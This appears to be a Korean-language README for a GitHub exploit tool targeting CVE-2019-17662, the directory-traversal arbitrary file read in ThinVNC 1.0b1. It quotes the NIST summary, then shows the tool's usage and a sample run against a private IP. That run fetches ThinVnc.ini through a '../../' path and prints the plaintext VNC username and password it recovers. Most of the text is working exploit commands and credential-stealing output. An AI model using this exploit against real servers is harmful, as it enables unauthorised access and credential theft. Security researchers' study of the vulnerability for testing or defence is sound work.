rajendrakumaryadav/cve-2019-17662-exploitCVE-2019-17662용 익스플로잇
ThinVNC 1.0b1는 임의의 파일 읽기에 취약하며, 이는 VNC 서버의 보안을 손상시킵니다. 이 취약점은 VNC 서버 배포 중 인증이 활성화된 경우에도 존재합니다. 인증을 위한 비밀번호는 ../../ThinVnc.ini 디렉터리 트래버설 공격 벡터를 통해 읽을 수 있는 파일에 평문으로 저장됩니다.
~ NIST
$ ./bin/CVE-2019-17662 -h
[~] Usage: ./CVE-2019-17662 -u URL [-f File]
[>] Options:
OPTIONS Desciption
-u URL Base URL
-f File [Optional] File Name To Query (Default: ThinVnc.ini)
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 exploit by @whokilleddb
[o] Target : http://10.10.185.214:8080/
[x] File To Read: ThinVnc.ini
[~] Trying to Read: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] Trying To Fetch Credentials
[-] User=Atlas
[-] Password=H0ldUpTheHe@vens